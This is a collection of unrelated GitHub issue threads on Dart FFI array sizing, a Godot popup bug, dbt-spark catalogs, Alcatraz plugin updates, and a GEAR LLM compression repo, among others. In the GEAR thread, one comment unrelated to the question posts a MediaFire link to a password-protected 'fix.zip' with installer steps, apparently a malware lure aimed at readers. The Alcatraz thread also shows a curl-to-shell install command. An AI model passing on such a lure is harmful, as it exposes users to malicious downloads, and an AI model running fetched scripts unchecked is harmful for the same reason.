            hDevInfo,
            deviceInterfaceDataPtr,
            deviceInterfaceDetailDataPtr,
            requiredSizePtr.value,
            nullptr,
            nullptr);
        if (hr != TRUE) {
          print(
              'SetupDiGetDeviceInterfaceDetail - Get Data error ${GetLastError()}');
          continue;
        }

// ...

SP_DEVICE_INTERFACE_DETAIL_DATA_ struct has a variable-length array with a length of 1. If I use @Array.variable() for the variable-length array in this struct, the call to SetupDiGetDeviceInterfaceDetail fails with "SetupDiGetDeviceInterfaceDetail - Get Data error xx" due to sizeOf not accounting for the variable-length array.
While trying out @Array.variable() in this struct, I noticed a bug and opened #56399.

I'm concerned that calloc not initializing these fields and sizeOf not taking them into account, could lead to some unexpected results.

Right, I agree that this is a gotcha. It makes your Dart code not parallel the C code. So adding the the variable length param to @Array.variable() makes sense to me. One problem with your proposed design is how to deal with @Array.variable(, because I believe that variable dimension that you want to the declare would be the very first optional argument. And we're already using optional positional arguments for the non-variable dimensions. (And combining optional positional params and named params is not supported in Dart.)
We could either:

Always have users specify the first (variable) dimension as 0. The downside is boilerplate.
Introduce a new constructor for @Array.variableSpecifyVariableDimension (name TBD) and a variableDimension optional named argument for @Array.variableMulti.

// before
final class MyStruct extends Struct {
  @Array.variable(10, 10)
  external Array<Array<Array<Uint8>>> inlineArray;

  @Array.variableMulti([2, 2])
  external Array<Array<Array<Uint8>>> threeDimensionalInlineArray;
}

// option 1
final class MyStruct extends Struct {
  @Array.variable(0, 10, 10)
  external Array<Array<Array<Uint8>>> inlineArray;

  @Array.variableMulti([0, 2, 2])
  external Array<Array<Array<Uint8>>> threeDimensionalInlineArray;
}

// option 2
final class MyStruct2 extends Struct {
  @Array.variableSpecifyVariableDimension(0, 10, 10)
  external Array<Array<Array<Uint8>>> inlineArray;

  @Array.variableMulti(variableDimision: 0, [2, 2])
  external Array<Array<Array<Uint8>>> threeDimensionalInlineArray;
}

Maybe @halildurmus @lrhn or @mkustermann have better ideas.
Once we have decided on what API to use, the fix would be to do the following:

Take the size into account in the size calculation in pkg/vm/lib/modular/transformations/ffi/common.dart.
And, take the size into account in the size calculation in runtime/vm/compiler/ffi/native_type.cc.

In order for that to work, the @pragma('vm:ffi:struct-fields') on structs needs to encode the length (instead of the 0 it's passed now). I don't believe the .cc file has to be changed, we just need to pass the right length instead of 0 from the frontend.
But the final class Array<T extends NativeType> extends _Compound { final int _size; which is the runtime length should stay 0 so that no bounds checks are done. sdk/lib/_internal/vm/lib/ffi_patch.dart. (Possibly a cleaner solution is to actually have the _size be whatever was declared statically, but add a bool whether it's variable length.)

And add tests in

pkg/vm/testcases/transformations/ffi/native_fields.dart.expect (for the array length encodeing in 'vm:ffi:struct-fields')
tests/ffi/generator/structs_by_value_tests_configuration.dart to pass some structs by value with non-0 elements
tests/ffi/inline_array_variable_length_test.dart to test sizeOf and Allocators.

(I might not have time to work on this, so open to contributions. Some pointers can be found in https://dart-review.googlesource.com/c/sdk/+/371960.)

We could either:
1. Always have users specify the first (variable) dimension as 0. The downside is boilerplate.

2. Introduce a new constructor for<EMAIL_ADDRESS>(name TBD) and a `variableDimension` optional named argument for<EMAIL_ADDRESS>

I'm leaning towards option 2. We should avoid adding unnecessary boilerplate for users. Here's one idea for the new constructor: @Array.variableWithVariableDimension.

Once we have decided on what API to use, the fix would be to do the following:
...
(I might not have time to work on this, so open to contributions. Some pointers can be found in https://dart-review.googlesource.com/c/sdk/+/371960.)

I’m ready to tackle this as soon as the API design is finalized. Thanks for the pointers! :heart:

@dcharkes I've put together a CL based on the API design outlined in https://github.com/dart-lang/sdk/issues/52366#issuecomment-2275784246 (happy to change it based on possible suggestions).

But the final class Array<T extends NativeType> extends _Compound { final int _size; which is the runtime length should stay 0 so that no bounds checks are done. sdk/lib/_internal/vm/lib/ffi_patch.dart. (Possibly a cleaner solution is to actually have the _size be whatever was declared statically, but add a bool whether it's variable length.)

Adding a bool field to the Array class in ffi_patch.dart turned out to be trickier than I expected. It required changes in several parts of the CFE and a few tweaks in runtime/vm/compiler/ffi/native_type.cc. I think I’ve covered everything, but I’d appreciate it if you could take a look to confirm that I didn’t miss anything.
One thing to note: the CL has a pretty big diff because of the generated tests in tests/ffi/. The existing test files weren’t formatted with the tall-style formatter, so when I added new tests in tests/ffi/generator/structs_by_value_tests_configuration.dart and ran the test generator, the reformatting caused a lot of changes. I’m wondering if it might make sense to reformat those files in a separate CL first to make this one easier to review.
Looking forward to hearing your thoughts – thanks!

Awesome! ❤

I think I’ve covered everything, but I’d appreciate it if you could take a look to confirm that I didn’t miss anything.

Let's kick off the CQ to see. 👌  I left a comment on the CL on how to ensure that all the relevant bots will be included. (But I'll need to hit the button to run the CQ.)

I’m wondering if it might make sense to reformat those files in a separate CL first to make this one easier to review.

Probably yes! @munificent I believe seeing a message from you that you are going to format everything in the Dart SDK that is Dart 3.7. Are you in the process of doing so? If no, can we kick of formatting ourselves?

I’m wondering if it might make sense to reformat those files in a separate CL first to make this one easier to review.

Done (38e250b4d579b44b6418a30ae8fd6609e38f8824). Thanks for the suggestion! 👍  Please rebase. 🙏

Thanks! ❤ I just rebased.


After saving a scene, popup nodes become invisible in other open scenes

To reproduce, create a new scene and add some nodes that inherit Popup. Now make another new scene and save it. If you go back to the scene with the popups, they should be invisible now.

I can't reproduce, more information appreciated!

Could not reproduce in master


Update header and other properties as per the main website

Looks solid. Also looks like it might have removed a bunch of security issues too.


Update ref assembly generation to use DefaultNetCoreTargetFramework p…

…roperty
Porting https://github.com/aspnet/Extensions/pull/2359 to AspNEtCore before merge.

/fyi @anurse @mkArtakMSFT this is part of the merge process into 'master' i.e. makes our 'release/3.1' a more-manageable difference from that branch. Part of #13581
@JunTaoLuo what PR did you intend to reference? Did you mean aspnet/Extensions#2362 ?

Ah yes, it's a PR in Extensions, fixed!


[ADAP-522] Three-part identifiers (catalog.schema.table)

Spark >= 3.0 can discover tables/views from multiple catalogs, such as a Hive or Glue catalog. This is a prerequisite to enable so-called three-part identifiers for dbt-spark (catalog.schema.table).
To keep PRs concise for any refactoring plus the implementation, we are splitting this over multiple issues.
### Three-part identifiers
- [ ] https://github.com/dbt-labs/dbt-spark/issues/751

Hi Everyone, Can someone suggest how to use Apache Nessie catalog with Spark adapter in dbt. If we modify generate_schema_name to add nessie catalog name, then list_None_* API fails as it creates show table extended in nessie.<schema_name> like '*' query to get table names in the schema. And we cannot use "generate_database_name" for customisation in Spark adapter as it fails with "Cannot set database in spark!" error.
Also, in case of incremental models, DBT only creates insert into command, if the table already exists in the schema when it run "show table extended" query but show table extended in nessie.<schema_name> like '*' this query is failing, so DBT always create new table in default catalog.
Please suggest.


🪲[Bug]: utton "Saving lives (pet me) saving animals" is not fully clickable

Describe the bug
The button labeled "Saving lives (pet me) saving animals" is not fully clickable. Only the round part of the button is clickable, making it difficult for users to interact with the button properly.
To Reproduce
Steps to reproduce the behavior:

Navigate to the navbar of the page containing the button "Saving lives (pet me) saving animals".
Attempt to click on different parts of the button.
Observe that only the round part of the button is clickable.

Expected behavior
The entire area of the button should be clickable, not just the round part.
Screenshots
Only the round part of the button is clickable, which limits user interaction.

Desktop

OS: Windows
Browser: chrome
Version: 23H2

I would love to work on this issue please assign this to me.

@akshitagupta15june Please assign me this issue, I want to work on it.


vendor containers/image for PutBlob returns

Vendors https://github.com/containers/image/pull/70
Signed-off-by: Antonio Murdaca<EMAIL_ADDRESS>

DO NOT MERGE, depends on containers/image#70, I'll re-vendor once merged there


Surpress RNN GPU flattening warnings.

This change suppresses warnings raised by fused RNN code running GPU due to parameters not being flattened (as we can't do this while preserving higher-order gradients).

This addresses #65.


How to update script?

Just want to request feature to show installed plugins and found, that new alcatraz version available.
Since there is not guides in readme - I just run uninstall script and then install script.
rm -rf ~/Library/Application\ Support/Developer/Shared/Xcode/Plug-ins/Alcatraz.xcplugin
&& curl -fsSL https://raw.github.com/supermarin/Alcatraz/master/Scripts/install.sh | sh

What the proper workflow to update plugin?

It happens automatically, you don't need to do anything

As for me - it isn't.
Just update manually recently as I described.

same as me.

Same as me.

Did you restart xcode?

I did restart it, everything was gone needed to re-ran update script.

That's strange but it might have to do with the fact that we were a little behind in releasing a new version. Let me know if this happens again :/

Same for me, restarted Xcode was not working. I had to re-install script. I was updating to Xcode 6.3.2 (6D2105).
@jurre Could it be because I did the update of Xcode before you did add support for this version of Xcode?

Yes, it could be that indeed

If I understand well, Alcatraz is begin auto-updated in my computer (when running from Xcode).
So, if I update Xcode too quickly, the plugin is unable to run due to non-compatibility and thus unable to auto-update itself.
Am I right?
And is there any workaround for this issue?

Are you guys referring to updating Alcatraz itself, or the sub-plugins you've installed via Alcatraz?
The only problem currently is Alcatraz itself, you need to install it via script.
Once you have Alcatraz working in your Xcode, the child plugins will be updated on the fly.

@supermarin I'm referring to Alcatraz itself. Once Alcatraz was updated, all my plugins were correctly updated as you said!

@supermarin This issue is about Alcatraz auto-update.
It doesn't update itself automatically, but as I understand - it should.

@skywinder unfortunately it can't update itself, as it has to be loaded to do so

As I can see from change my generated log: https://github.com/skywinder/Alcatraz/blob/add-change-log-file/CHANGELOG_AUTO.md (#234) - the last update was today (1.1.4) and it automatically updates as expected. so, probably this issue is outdated.

You could also check the releases tab on github: https://github.com/supermarin/Alcatraz/releases


Clarification on Code Structure and Usage

Thanks for your excellent work!
I am a bit confused about the code structure and its usage:
GEARLM/GEARLM
    -- Simulated
    -- TrueCompression
        -- models
        -- old_models

What’s the difference between Simulated and TrueCompression?
Following the instructions in the README, I first ran:
python evaluation_gsm8k.py --model meta-llama/Meta-Llama-3-8B --prompt_file gsm8k_prompt_original.txt --batch_size 6 --max_new_tokens 256 --compress_method GEAR --attention_number 40 --quantize_bit 2 --group_size 64 --loop 3 --prefillrank 4 --prefillrankv 4 --rank 2 --rankv 2 --left 0.02 --streaming --streaming_gap 64

This calls GenerationBench/GenerationTest/evaluation_gsm8k.py, where line 380 compress_config calls GenerationBench/GenerationTest/GEARLM/Simulated/compress_config.py, and line 411 model = SimulatedGearLlamaForCausalLM.from_pretrained calls GenerationBench/GenerationTest/GEARLM/Simulated/modeling_llama_new.py.
However, I haven't seen any modifications related to the GEAR method in modeling_llama_new.py, compress_config.py, or within GenerationTest/GEARLM/Simulated/. Could you clarify how the GEAR method is being invoked?

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Simulated is fake compression that has the same accuracy compared with real compression. True compression is real compression code without cuda kernel supported.
GEAR is invoked in modeling_llama_new.py.
Here

Thank you for your prompt and detailed response.
Just to confirm my understanding: Simulated compression only simulates the compression process and achieves the same accuracy as true compression, but it does not simulate the changes in GPU memory usage. On the other hand, True Compression can simulate memory changes on the CPU, but it does not take advantage of CUDA acceleration.
I have one final question: To replicate the accuracy results from your paper, is it sufficient to use Simulated compression?